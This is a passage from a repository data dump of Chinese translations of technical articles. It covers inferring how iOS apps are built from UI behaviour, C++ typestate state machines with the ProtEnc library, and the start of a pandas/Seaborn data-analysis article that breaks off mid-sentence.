    "content": "> * 原文地址：[Exploring Apps Without Jailbreaking](https://medium.com/@nathangitter/exploring-apps-without-jailbreaking-e932904f9863)\n> * 原文作者：[]()\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/exploring-apps-without-jailbreaking.md](https://github.com/xitu/gold-miner/blob/master/TODO1/exploring-apps-without-jailbreaking.md)\n> * 译者：[melon8](https://github.com/melon8)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH)\n\n# 不越狱探索 App 的技巧\n\n## 学习如何构建其他应用的五种简单技巧\n\nMedium 的 iOS应用是一个带伪导航条的原生应用，而 Product Hunt 则是用 React Native 构建的。\n\n![](https://cdn-images-1.medium.com/max/800/1*OW-khVXV7oFfBpwdtOD_hw.png)\n\nMedium iOS 应用（左）和 Product Hunt iOS 应用(右)。\n\n我是怎么知道的呢？除了我自己编写代码或向开发人员询问以外，我可以用几个简单的测试来确定 —— 不需要越狱。\n\n想知道我怎么做的？\n\n### 背景\n\n在网络的“早期”时代，很容易了解任何网站是如何建立的。通过在浏览器中查看源码，底层代码可以暴露给任何人看到、拿去混淆或者重用。随着网络的发展和框架的使用，网站变的越来越复杂，到现在，这几乎是不可能做到的。\n\n![](https://cdn-images-1.medium.com/max/800/1*F1PatoKhttsUn6yowfwjDA.png)\n\n使用 Chrome 检查 Medium 文章的 HTML。\n\nApp 有相同的问题，但更糟。app 会经过编译，这意味着原代码已经从人类可阅读的格式转换为计算机友好格式。\n\n虽然有工具可以反编译 iOS 应用，但它们需要越狱设备，特殊工具和专业编程知识。我将分享一些不需要任何黑客技巧的策略 —— 只要应用安装在你的设备上就够了。\n\n### 关键的理念\n\n我们的策略很简单：将应用推向极限，期待着出状况。如果我们能看到它们出现的具体问题，就可以推断它们如何工作。\n\n我们将尝试回答以下问题：\n\n1. 该应用是原生的吗？如果不是，它是一个 web view？React Native？PhoneGap？Unity？某种 hybrid？\n2. 使用了哪些 UI 元素？是开箱即用的组件还是一些自定义的东西？如何使用它们来达到预期的效果？\n\n### 实验\n\n为了收集数据，我们将做五个测试。我将解释每项测试如何执行，寻找的目标是什么以及从结果中可以得出什么结论。\n\n我们将测试：\n\n1. 按钮触摸状态 👆\n2. 交互式导航栏手势 🔙\n3. VoiceOver 🔊\n4.动态类型🔎\n5. 飞行模式 ✈️\n\n![](https://cdn-images-1.medium.com/max/2000/1*Mji7eJHwKQKQBh82Tv2obw.jpeg)\n\n### 实验 #1：按钮触摸状态 👆\n\n一个按钮看起来很简单。你点击它，然后发生一些事情。但是，并非所有的按钮都是相同的。\n\n我们将测试按钮交互的边缘情况 —— 用户不仅仅是点击一下按钮时的行为。\n\niOS 开发新人常常对 `UIButton`（iOS 上的默认按钮组件）的交互复杂性感到惊讶。在交互中的不同节点有九个事件会发生。\n\n1. `touchDown`\n2. `touchDownRepeat`\n3. `touchDragInside`\n4. `touchDragOutside`\n5. `touchDragEnter`\n6. `touchDragExit`\n7. `touchUpInside`\n8. `touchUpOutside`\n9. `touchCancel`\n\n（在[苹果开发者文档](https://developer.apple.com/documentation/uikit/uicontrolevents)中了解有关 `UIControlEvents` 的更多信息。）\n\n几乎所有的按钮都会在 `touchUpInside` 上执行一个动作（当用户在控件边界内触摸并松手时）。用户触摸时，大多数按钮都会表现出特殊的状态。\n\n真正的区别因素是按钮如何处理 `touchDragExit` 和 `touchDragEnter` 事件。当用户触摸按钮时，按钮如何响应，然后不抬起手指，拖动到按钮之外，然后再拖回来。\n\n![](https://cdn-images-1.medium.com/max/800/1*o9vaFZNIOoJOyRbe9QvU6A.gif)\n\n在 iOS 模拟器中测试标准按钮。\n\n标准的 `UIButton` 有一些常见的行为：\n\n1. 拖回按钮时的“触摸区域”大于按钮的边界。\n2. 在 touchDragEnter 和 touchDragExit 的时候有一个动画。\n\n但是，自定义的原生按钮通常会丢掉这些默认动画。\n\n![](https://cdn-images-1.medium.com/max/800/1*7WEjgmPpcWb1RJU_7Vk3VQ.gif)\n\n没有动画的自定义按钮。\n\n#### 一个例子\n\n我们来看看 Medium 应用。如果你在 Medium 的 iOS 应用中阅读此内容，你可以直接在上面试试！\n\n让我们试一下右下角的这个看起来很花哨的按钮：\n\n![](https://cdn-images-1.medium.com/max/800/1*LjDIPzIsPupqBavlayV06g.png)\n\n如果你点击按钮，然后按住不动，将手指向外移动并返回，你会发现手形图标在其明暗状态之间切换。\n\n（我的下一篇文章：“我如何通过增长黑客来得到 10 万用户” 😉）\n\n#### React Native 按钮\n\nReact Native 按钮很容易认出来。它们通常有一个缓慢的淡入淡出动画，并且适用于**一切** React Native 按钮。\n\n![](https://cdn-images-1.medium.com/max/800/1*TRzUveN7gJy-QCCo-p-pEA.gif)\n\nFacebook 的 F8 应用中的按钮动画。这是 React Native 应用程序中的常见效果。\n\nReact Native 应用程序通常会大量使用滚动视图，这会使按钮的行为难以测试，因为拖动按钮也会滚动视图。\n\n当谈到 React Native 的话题时，另一个泄露秘密的表现就是 cell 的点击状态。iOS 的原生 cell 点击后会出现一个纯色背景，而 React Native 的 cell 点击后与其按钮类似的高光效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*kDDB-EtlYgMR_yENeMmg4Q.gif)\n\n左：React Native cell 行为。右：原生 cell 行为。\n\n#### Web View 按钮\n\n在我下载测试的 PhoneGap 应用程序中，约 95％ 的按钮完全没有触摸状态，其余的约 5％ 保留了触摸按钮的状态，但在拖出或返回时没有任何表现。\n\n#### 按钮触摸状态的结论\n\n请记住很重要的一点，这些按钮行为很容易被重写。表现出特定的行为并不意味着一个绝对的原因 —— 它只是某个方向的线索。\n\n但是随着时间的推移，你会不自觉对按钮有一种“感觉”，但它是探索 app 如何构建的，做出有根据猜测的最简单方法之一。（这种技术也可以用来确定一个交互元素是一个按钮还是其他类型的控件。）\n\n### 实验 #2：交互式导航手势\n\n从 iOS 7 开始，用户可以通过滑动显示屏的左侧边缘来导航到前一个界面。这个手势特别有趣，因为它是交互式的，这意味着它可以搓来搓去。\n\n在 iOS 上使用标准的 `UINavigationController` 时，这种行为是自带的。出于某种原因，许多应用程序弃用了标准导航栏，并最终导致了导航转换效果的丢失，损坏或[质量不高](https://medium.com/@nathangitter/designing-jank-free-apps-9f66d43b9c87)。\n\n让我们在 Medium 中试一下。\n\n![](https://cdn-images-1.medium.com/max/800/1*DXaY3wngOmbDnygRsGR_5w.gif)\n\n比较 Medium（左侧）和 App Store（右侧）上的导航转换效果。\n\n与标准导航转换不同，Medium app 将导航栏与屏幕的其余部分一起移动。而标准情况下，导航栏保持不变，上面的所有标签会淡入淡出。\n\n另外，Medium app 的前一个界面上的黑色半透明叠加层较暗，看起来导航转换部分被重写了，或者更有可能是直接使用了自定义的组件。\n\n我个人认为它看起来非常好，并且理解他们出于设计和开发的需要而采取了这种方法。\n\n#### React Native 导航\n\n从开发的角度来看，React Native 中的导航功能实现起来更加困难。因此，React Native 应用程序倾向于使用自定义导航转换，而不是使用`UINavigationController`的标准“push”和“pop”。\n\n![](https://cdn-images-1.medium.com/max/800/1*xkAtEig66JoJISlBcl3YCw.gif)\n\nFacebook 的 F8 应用程序中的自定义转换效果。\n\niOS 上的默认模态演示不是交互式的，并且在重新出现的界面上没有缩放效果。\n\n以下是 React Native 中自定义转换的另一个示例。\n\n![](https://cdn-images-1.medium.com/max/800/1*iOqkUpe_3TDIvt_JqSYo-A.gif)\n\nFacebook 的 F8 应用中的导航转换效果。\n\n没有阴影或黑色叠加，但真正泄露秘密的表现是动画时机。在这个 gif 中很难看到，但是在我抬手之后，动画完成比平常慢得多。\n\n就像按钮触摸状态一样，通过测试许多导航转换，你可以在一段时间的后获得一种“感觉”。\n\n#### 交互式导航手势的结论\n\n这是我最喜欢的测试之一，因为它可以揭示更多关于 app 的信息，而不仅仅是导航栏的工作方式。如果手势把 app 搞出了 bug，则可能得到的信息不仅仅是导航转换的方式了。\n\n但是，就像按钮触摸状态一样，导航转换可以被重写。然而实际上，由于导航转换需要大量的开发工作，所以导航转换不太可能被严格定制。\n\n### 实验 #3：VoiceOver（旁白）🔊\n\n你想要超能力？试试 VoiceOver。\n\nVoiceOver 是 Apple 版本的屏幕阅读器。适用于视力障碍用户，这种辅助功能选项会大声朗读用户界面。\n\nVoiceOver 有另一个我们更感兴趣的效果：它在当前选定的元素周围显示一个黑框。\n\n![](https://cdn-images-1.medium.com/max/800/1*7B6BZBbp-amooMt5ZOMvpA.png)\n\n在 App Store 和 Weather 应用程序中选择元素的声音。\n\n这使我们能够将界面分解成各个部分。不需要猜测界面是如何构建的，我们可以让 VoiceOver 告诉我们！有时它甚至会大声朗读元素的类型（“按钮”，“日期选择器”等）。\n\n如果您以前没有使用过 VoiceOver，那么它很值得去学习。基本概念：\n\n1. 在屏幕上拖动以选择元素。\n2. 双击屏幕上的任意位置以“点击”所选元素。\n3. 左右滑动以在元素之间快速跳转。\n\n让我们来研究一下在 Medium 中使用 VoiceOver 的效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*_wvOl8sGA-2RjevOJcBzpA.png)\n\n使用 VoiceOver 在 Medium 中选择帖子的标题。\n\n大多数元素的表现和预期一致。VoiceOver 只是读取选择的内容或元素的名称。但是，有一些不寻常的行为。\n\n在主屏幕上，选择帖子的标题只能读取标题的一半。首先它说，“Color Contrast Crash C”，然后选择标题的底部读取“Course for Interface Design”。这说明 label 的布局肯定有一些自定义的部分，这使得 VoiceOver 认为标题被分成多个 label，每行一个 label。（我的猜测是他们为自定义行间距的 label 构建了一个变通方案，而通常的解决方案是使用 `attributedString` 属性，并且他们的方案可能会导致以后出现复杂问题。）\n\n选择描述 label 后，我们可以看到 VoiceOver 揭示隐藏信息的威力。对于大多数用户来说，label 只是显示“估计有 2.85 亿...”。但是VoiceOver告诉我们更多的信息：“估计有 2.85 亿人视力受损。这个数字包括从法律上来看这些人的人数“。在这种情况下说明，所有数据都存储在标签中，但视觉上被截断了。\n\n* YouTube 视频链接：https://youtu.be/7iiah_J_N0A\n\nMedium 的 VoiceOver 演示。(确保你的声音不是静音)\n\n如果幸运的话，你可以使用它来访问你无法访问的信息。\n\n这是另一个有趣实验。在“书签”选项卡上，如果你没有书签，则有一个不可见的标签。它说：“要给文章加书签，在任一地方点击书签图标，文章会被添加到这个列表。”\n\n![](https://cdn-images-1.medium.com/max/800/1*o-X2hCfV1rWjXIRWdWOa_g.png)\n\n使用 VoiceOver 在 Medium 中选择不可见标签。\n\n我猜是开发人员会快速暂时隐藏这个标签，并假定可能将来产品又会让它显示。（或者，也许我正在被 A/B 测试。）\n\n#### 非原生应用程序\n\nVoiceOver 也适用于基于网络视图的 app。如果你听到“链接”或“标题级别”等字眼时，表示你正在一个网络视图之中。\n\n此外，文本元素可能会基于样式以各种奇怪的方式拆分（因为它的 HTML 表示），并且元素可能不会自然分组。\n\n游戏（由 Unity，SpriteKit 等构建）通常根本没有任何 VoiceOver 支持。\n\n#### VoiceOver 的结论\n\nVoiceOver 提供的证据在这些测试中最可靠。它显示元素的可视范围，并可以读取不可见的属性。这是关于任何界面的宝贵资料。\n\n随着你更多地使用 VoiceOver，你会学习到各种 UI 元素的默认表达方式，并开始注意到它的不同之处。\n\n与上述任何测试一样，VoiceOver 不是 100％ 可靠的。所有的 VoiceOver 文本和边界框都可以由开发人员配置。针对 VoiceOver 优化过的应用程序也可能会揭露更少关于应用程序如何工作的信息，因为开发人员会修复可能导致 app 出问题的 bug。\n\n（专业提示：将 VoiceOver 设置为你的“辅助功能快捷键”，便于在测试时打开和关闭。）\n\n### 实验 #4：动态类型🔎\n\n与 VoiceOver 类似，动态类型 是适用于视力障碍用户的辅助功能。它可以修改整个系统的文字大小。\n\n我们想要使用动态类型来破坏布局。有了新的“辅助功能中的更大字体”后，这比以往更容易看出 app 端倪，这绝对是巨大字体。\n\n![](https://cdn-images-1.medium.com/max/800/1*KmwvxTP9Q2KyLfTqwo54MQ.png)\n\n调至最大字体的“更大文本”设置界面。\n\n动态类型 可以在设置 > 辅助功能 > 更大字体中设置。这也可以作为一个 widget 添加到 iOS 11 中的控制中心，以便于访问。\n\n不幸的是，Medium 不支持 动态类型，所以我们将使用 App Store 演示。\n\n我将文字大小设置为最大值，并找到了一个错误的布局 —— 搜索界面上的一个广告。\n\n![](https://cdn-images-1.medium.com/max/800/1*IsqwosbqCtJVJADUySBb3A.png)\n\n最大字体（左侧）和默认字体（右侧）的 App Store 搜索界面。\n\n文本“22K”布局的非常好，但它没有揭露太多布局的秘密，因为布局为更大字体做了调整（可以看到元素改位堆叠排列，而不是并排）。\n\n我最喜欢的部分是淡蓝色的“广告”按钮。和正常字体大小时的漂亮的圆角矩形不同，我们得到了一个怪怪的拉伸的形状。\n\n![](https://cdn-images-1.medium.com/max/800/1*Q-v6oAigHDVBWNfBgzgmXQ.png)\n\n更大字体设置下的“广告”按钮。\n\n我的猜测是，这个蓝色框被绘制成一个硬编码半径的自定义路径。通常，控件不会使用动态类型调整大小（请参阅“GET”按钮作为示例），所以这里有一些自定义内容。\n\n####动态类型的结论\n\n有些应用程序根本不支持 动态类型。即使支持，他们也可能不支持辅助设置中更大的字体。\n\n但是当动态类型生效时，就可以对布局进行压力测试。使用 VoiceOver 已经可以了解一些信息，结合动态类型更有助于验证理论。通常支持动态类型的 app 也会测试这一部分，这会减少显示有用信息的机会。\n\n### 实验 #5：飞行模式✈️\n\n另一个简单的测试是启用飞行模式。飞行模式会禁用 Wi-Fi 和蜂窝移动网络，这会立即导致网络请求失败。通过在各种情况下禁用网络连接，我们可以看到 app 如何出问题。\n\n在 Medium 中，如果你加载主页，打开飞行模式，并选择一篇文章，文章仍会加载。事实上，整个帖子仍然可读。\n\n![](https://cdn-images-1.medium.com/max/800/1*uKDEsrYBp0PRfIVlq8aLoA.png)\n\n飞行模式下的 Medium。文字内容加载，但图像不加载。\n\n由此，我们推断 Medium 在加载预览时会拉取整个帖子的内容（并进行一些缓存）。\n\nApp Store 也会延迟加载图像。加载完一个页面并滚动到底部之后打开飞行模式会看到图像区域是空白的。\n\n![](https://cdn-images-1.medium.com/max/800/1*ayzVeFPBdoN9UwaPIKdSsQ.png)\n\nApp Store 在飞行模式下。图像（即使在同一页面上）似乎是懒加载。\n\n大多数现代应用程序重度依赖于网络连接，来下载内容然后允许交互，所以飞行模式会让大多数 app 出错。\n\n#### React Native 和非原生应用\n\n在我测试过的 React Native app 中，大多数应用程序通过删除屏幕上的所有内容，并显示一条自定义的“无连接”消息，对缺乏互联网连接的情况立即做出反应。\n\n对于基于 webview 的 app，大多数没有反应。没有迹象表明当前正在加载或者加载失败。\n\n#### 飞行模式的结论\n\n不幸的是，飞行模式并没有给出如何构建应用程序的明确答案，因为大多数应用程序在没有可用连接时会有某种回退方式。\n\n想继续深入？通过观察 app 的网络流量，你可以了解更多关于其他应用的信息。Charles Proxy（代理）的 iOS app 是洞悉各种 app 的好方法，但需要一些 HTTP 网络知识。\n\n### 小贴士\n\n尽管可能不能完全确定 app 的构建方式，但有一些方法可以让你进行有根据的猜测。通过研究边缘案例，我们可以更大程度上揭示它们的内部运作。\n\n我们的学习也可以为我们自己的 app 的设计和开发提供信息。多了解一些方法有助于我们在未来做出更好的决策。\n\n在一个不开源的应用程序的世界中，做些小改动的能力有限。（或重新发现）思考事物运转的方式的乐趣。\n\n* * *\n\n喜欢这个故事？在 Medium 上留言，并与 iOS 设计/开发者朋友分享。想要了解最新的移动应用设计/开发？在 Twitter上关注我：[twitter.com/nathangitter](https://twitter.com/nathangitter)\n\n感谢 [David Okun](https://twitter.com/dokun24) 修改本文的草稿。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/expressive-code-for-state-machines-in-cpp.md",
    "content": "> * 原文地址：[Expressive Code for State Machines in C++](https://www.fluentcpp.com/2019/09/24/expressive-code-for-state-machines-in-cpp/)\n> * 原文作者：[Jonathan Boccara](https://www.fluentcpp.com/author/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/expressive-code-for-state-machines-in-cpp.md](https://github.com/xitu/gold-miner/blob/master/TODO1/expressive-code-for-state-machines-in-cpp.md)\n> * 译者：[zh1an](https://github.com/zh1an)\n> * 校对者：[司徒公子](https://github.com/stuchilde), [PingHGao](https://github.com/PingHGao)\n\n# C++ 中清晰明了的状态机代码\n\n> 这是 Valentin Tolmer 的特邀文章。 Valetin 是谷歌的一名软件工程师，他试图提高他周围的代码质量。他年轻时就受到模板编程的影响并且现在只致力于元编程。你可以在 [GitHub](https://github.com/nitnelave) 找到他的一些工作内容，特别是本文所涉及的 [ProtEnc](https://github.com/nitnelave/ProtEnc) 库。\n\n你曾经遇到过这种注释吗？\n\n```c++\n// 重要：在调用 SetUp() 之前请不要调用该函数!\n```\n或者做这样的检查：\n\n```c++\nif  (my_field_.empty())  abort();\n```\n\n这些（注释中提出的状态检查要求）都是我们的代码必须遵守的协议的通病。有些时候，你正在遵守的一个明确的协议也会有状态检查的要求，例如在 SSL 握手或者其他业务逻辑实现中。或者可能在你的代码中有一个明确状态转换的状态机，该状态机每次都需要根据可能的转换列表做转换状态检查。\n\n让我们看看我们如何**清晰明了地**处理这种方案。\n\n### 例如：建立一个 HTTP 连接\n\n我们今天的示例是构建一个 HTTP 连接。为了大大简化，我们只说我们的连接请求至少包含一个 header（也许会更多），有且只有一个 body，并且这些 header 必须在 body 之前被指定出来（例如因为性能原因，我们只写入一个追加的数据结构）。\n\n**备注：虽然这个****特定的****问题可以通过给构造函数传递正确的参数来解决，我不想使这个协议过于复杂。你将看到扩展它是多么的容易。**\n\n这是第一次实现：\n\n```c++\nclass  HttpConnectionBuilder  {\n public:\n  void  add_header(std::string  header)  {\n    headers_.emplace_back(std::move(header);\n  }\n  // 重要: 至少调用一次 add_header 之后才能被调用\n  void  add_body(std::string  body)  {\n    body_  =  std::move(body);\n  }\n  // 重要: 只能调用 add_body 之后才能被调用\n  // 消费对象\n  HttpConnection build()  &&  {\n    return  {std::move(headers_),  std::move(body_)};\n  }\n private:\n  std::vector<std::string>  headers_;\n  std::string  body_;\n};\n```\n\n直到现在，这个例子相当的简单，但是它依赖于用户不要做错事情：如果他们没有提前阅读过文档，没有什么可以阻止他们在 body 之后添加另外的 header。如果将其放入到一个 1000 行的文件中，你很快就会发现这有多糟糕。更糟糕的是，没有检查类是否被正确的使用，所以，查看类是否被误用的唯一方法是观察是否有意料之外的效果！如果它导致了内存损坏，那么祝您调试顺利。\n\n其实我们可以做的更好……\n\n### 使用动态枚举\n\n通常情况下，该协议可以用一个有限状态机来表示：该状态机开始于我们没有添加任何的 header 的状态(START 状态)，该状态下只有一个添加 header 的选项。然后进入至少添加一个 header (HEADER 状态)，该状态下既可以添加另外的 header 来保持该状态，也可以添加一个 body 而进入到 BODY 状态。只有在 BODY 这个状态下我们可以调用 build，让我们进入到最终状态。\n\n![typestates state machine](https://www.fluentcpp.com/wp-content/uploads/2019/09/state_machine.png)\n\n所以，让我们将这些想法写到我们的类中！\n\n```c++\nenum  BuilderState  {\n  START,\n  HEADER,\n  BODY\n};\nclass  HttpConnectionBuilder  {\n  void  add_header(std::string  header)  {\n    assert(state_  ==  START  ||  state_  ==  HEADER);\n    headers_.emplace_back(std::move(header));\n    state_  =  HEADER;\n  }\n  ...\n private:\n  BuilderState state_;\n  ...\n};\n```\n\n其他的函数也是这样。这已经很好了：我们有一个确定的状态告诉我们哪种转换是可能的，并且我们检查了它。当然了，你有针对你的代码的周密的测试用例，对吗？如果你的测试对代码有足够的覆盖率，那么你将能够在测试的时候捕获任何违规的操作。你也可以在生产环境中启用这些检查，以确保不会偏离该协议（受控崩溃总比内存损坏要强），但是你必须对增加的检查付出代价。\n\n### 使用类型状态（typestates）\n\n我们怎么才能更快地、100% 准确地捕获到这些错误呢？那就让编译器来做这些工作！下面我将介绍类型状态（typestates）的概念。\n\n大致说来，类型状态（typestates）是将对象的状态编码为其本身的类型。有些语言通过为每个状态实现一个单独的类来实现(比如 `HttpBuilderWithoutHeader`、`HttpBuilderWithBody` 等等)，但这在 C++ 中将会变得非常的冗长：我们不得不声明构造函数、删除拷贝函数、将一个对象转换成另外一个对象…… 并且它很快就会过期。\n\n但是 C++ 还有其他的妙招：模板！我们可以在 `enum` 中对状态进行编码，并且使用这个 `enum` 将构造器模板化。这就得到了如下的代码：\n\n```c++\ntemplate  <BuilderState  state>\nclass  HttpConnectionBuilder  {\n  HttpConnectionBuilder<HEADER> \n  add_header(std::string  header)  &&  {\n    static_assert(state  ==  START  ||  state  ==  HEADER, \n      \"add_header can only be called from START or HEADER state\");\n    headers_.emplace_back(std::move(header));\n    return  {std::move(*this)};\n  }\n  ...\n};\n```\n\n这里我们静态地检查对象是否处于正确的状态，无效代码甚至无法编译！并且我们还可以得到了一个相当清晰的错误信息。每次我们创建与目标状态相对应的新对象时，我们也销毁了与之前状态对应的对象：你在类型为 `HttpConnectionBuilder<START>`的对象上调用 add_header，但是你将得到一个 `HttpConnectionBuilder<HEADER>` 类型的返回值。这就是类型状态（typestates）的核心思想。\n\n注意：这个方法只能在右值引用(r-values)中调用(`std::move`，就是函数声明行末尾的 `&&` 的作用)。为什么要这样呢？它强制性地破坏了前一个状态，因此只能得到一个相关的状态。可以将其看做 `unique_ptr`：你不想复制一个内部的构件并获得无效的状态。就像 `unique_ptr` 只有一个所有者一样，类型状态（typestates）也必须只有一个状态。\n\n有了这个，你就可以这样写：\n\n```c++\nauto connection  =  GetConnectionBuilder()\n  .add_header(\"first header\")\n  .add_header(\"second header\")\n  .add_body(\"body\")\n  .build();\n```\n\n任何对协议的偏离都会导致编译失败。\n\n这有几个无论如何都要遵守的规则：\n\n* 你所有的函数必须使用右值引用的对象(比如 `*this` 必须是一个右值引用，在末尾要要有 `&&`)。\n* 你可能需要禁用拷贝函数，除非跳转到协议中间状态的时候是有意义的(毕竟这就是我们有右值引用的原因)。\n* 你有必要声明你的构造函数为私有，并添加一个工厂（factory）函数来确保人们不会创建一个无开始状态的对象。\n* 你需要将移动构造函数添加为友元并实现到另外一种状态，没有这种状态，你就可以随意地将对象从一个状态转移到另外一种状态。\n* 你需要确定你已经在每个函数中添加了检查。\n\n总而言之，从头开始正确的实现这些是有一点儿棘手的，并且在自然增长中，你很有可能不想要15种不同的自制类型状态（typestates）实现。如果有一个框架可以轻松且安全地声明这些类型状态就好了！\n\n### ProtEnc 库\n\n这就是 [ProtEnc](https://github.com/nitnelave/ProtEnc)(protocol encoder 的简称)发挥作用的地方。有了数量惊人的模板，该库允许轻松的声明实现 typestate 检查的类。要使用它，需要你的(未检查的)协议实现，这是我们用所有“重要的”注释实现的第一个类。\n\n我们将给这个类增加一个与其有相同的接口但是增加了类型检查的包装类。该包装类将在它的类型中包含一些诸如可能的初始化状态、转换和最终状态。每个包装类函数只是简单的检查转换是否可行，然后完美的转发调用给下一个对象。所有的这些都不包括指针的间接寻址、运行时组件或者内存分配，所以它完全自由的！\n\n那么，我们怎么声明这个包装类呢？首先，我们不得不定义一个有限状态机。这包括三个部分：初始状态、转换和最终状态或者转换。初始状态的列表只是我们的枚举类型的列表，就像下边这样的：\n\n```c++\nusing  MyInitialStates  =  InitialStates<START>;\n```\n\n对于转换，我们需要初始化状态、最终状态和执行状态转换的函数：\n\n```c++\nusing  MyTransitions  =  Transitions<\n  Transition<START,  HEADERS,  &HttpConnectionBuilder::add_header>,\n  Transition<HEADERS,  HEADERS,  &HttpConnectionBuilder::add_header>,\n  Transition<HEADERS,  BODY,  &HttpConnectionBuilder::add_body>>;\n```\n\n对于最终的转换，我们也需要一个状态和函数：\n\n```c++\nusing  MyFinalTransitions  =  FinalTransitions<\n  FinalTransition<BODY,  &HttpConnectionBuilder::build>>;\n```\n\n这个额外的 \"FinalTransitions\" 是因为我们可能会定义多个 \"FinalTransition\"。\n\n现在我们可以声明我们的包装类的类型了。一些不可避免的模板被宏定义隐藏起来，但它主要是基类的构造或者元的声明。\n\n```c++\nPROTENC\\_DECLARE\\_WRAPPER(HttpConnectionBuilderWrapper,  HttpConnectionBuilder,  BuilderState,  MyInitialStates,  MyTransitions,  MyFinalTransitions);\n```\n\n这是展开的一个作用域（一个类），我们可以在其中转发我们的函数：\n\n```c++\nPROTENC\\_DECLARE\\_TRANSITION(add_header);\nPROTENC\\_DECLARE\\_TRANSITION(add_body);\nPROTENC\\_DECLARE\\_FINAL_TRANSITION(build);\n```\n\n然后是关闭作用域。\n\n```c++\nPROTENC\\_END\\_WRAPPER;\n```\n\n(那只是一个右括号，但你不想要不匹配的括号，是吗?)\n\n通过这个简单但可扩展的设置，你就可以像使用上一步中的包装器一样使用它啦，并且所有的操作都会被检查。🙂\n\n```c++\nauto connection  =  HttpConnectionBuilderWrapper<START>{}\n  .add_header(\"first header\")\n  .add_header(\"second header\")\n  .add_body(\"body\")\n  .build();\n```\n\n试图在错误的顺序下调用函数将导致编译错误。别担心，精心的设计保证了第一个错误信息是可读的😉。例如，移除 `.add_body(\"body\")` 行，你将得到以下错误：\n\nIn file included from example/http_connection.cc:6:\n\n```c++\nsrc/protenc.h:  In  instantiation of  ‘struct  prot_enc::internal::return\\_of\\_final\\_transition\\_t<prot_enc::internal::NotFound,  HTTPConnectionBuilder>’:\nsrc/protenc.h:273:15:     required by  ...\nexample/http_connection.cc:174:42:     required from here\nsrc/protenc.h:257:17:  error:  static  assertion failed:  Final  transition not  found\n   static_assert(!std::is\\_same\\_v<T,  NotFound>,  \"Final transition not found\");\n```\n\n只要确保包装类只能从包装器构造，就可以保证整个代码库的正确运行！\n\n如果您的状态机是以另一种形式编码的(或者如果它变得太大了)，那么生成描述它的代码就很简单了，因为所有的转换和初始状态都是以一种容易读/写的格式聚集在一起的。\n\n完整的代码示例可以在 [GitHub](https://github.com/nitnelave/ProtEnc) 找到。请注意该代码现在不能使用 Clang 因为 [bug #35655](https://bugs.llvm.org/show_bug.cgi?id=35655)。\n\n\n### 你将也喜欢\n\n* [TODO_BEFORE(): A Cleaner Codebase for 2019](https://www.fluentcpp.com/2019/01/01/todo_before-clean-codebase-2019/)\n* [How to Disable a Warning in C++](https://www.fluentcpp.com/2019/08/30/how-to-disable-a-warning-in-cpp/)\n* [Curried Objects in C++](https://www.fluentcpp.com/2019/05/03/curried-objects-in-cpp/)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/extracting-insights-from-a-kaggle-dataset-using-pythons-pandas-and-seaborn.md",
    "content": "> * 原文地址：[EXTRACTING INSIGHTS FROM A KAGGLE DATASET USING PYTHON’S PANDAS AND SEABORN](http://www.dataden.tech/data-science/extracting-insights-from-a-kaggle-dataset-using-pythons-pandas-and-seaborn/)\n> * 原文作者：[Strikingloo](http://www.dataden.tech/author/strikingloo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/extracting-insights-from-a-kaggle-dataset-using-pythons-pandas-and-seaborn.md](https://github.com/xitu/gold-miner/blob/master/TODO1/extracting-insights-from-a-kaggle-dataset-using-pythons-pandas-and-seaborn.md)\n> * 译者：[haiyang-tju](https://github.com/haiyang-tju)\n> * 校对者：[rocheers](https://github.com/rocheers)\n\n# 使用 Python 的 Pandas 和 Seaborn 框架从 Kaggle 数据集中提取信息\n\n![](http://www.dataden.tech/wp-content/uploads/2018/09/peacock-feathers-3617474_1920-1038x576.jpg)\n\n好奇心和直觉是数据科学家最强大的两个工具。第三个可能就是 Pandas 了。\n\n我在 [上一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO1/exploratory-statistical-data-analysis-with-a-kaggle-dataset-using-pandas.md) 中，展示了如何了解一个数据集的完整性，并绘制一些变量，以及查看随时间变化的趋势和倾向。\n\n为此，我在 Jupyter Notebook 上使用了 [Python 的 Pandas 框架](https://towardsdatascience.com/exploratory-data-analysis-with-pandas-and-jupyter-notebooks-36008090d813) 进行数据分析和处理，并使用Seaborn 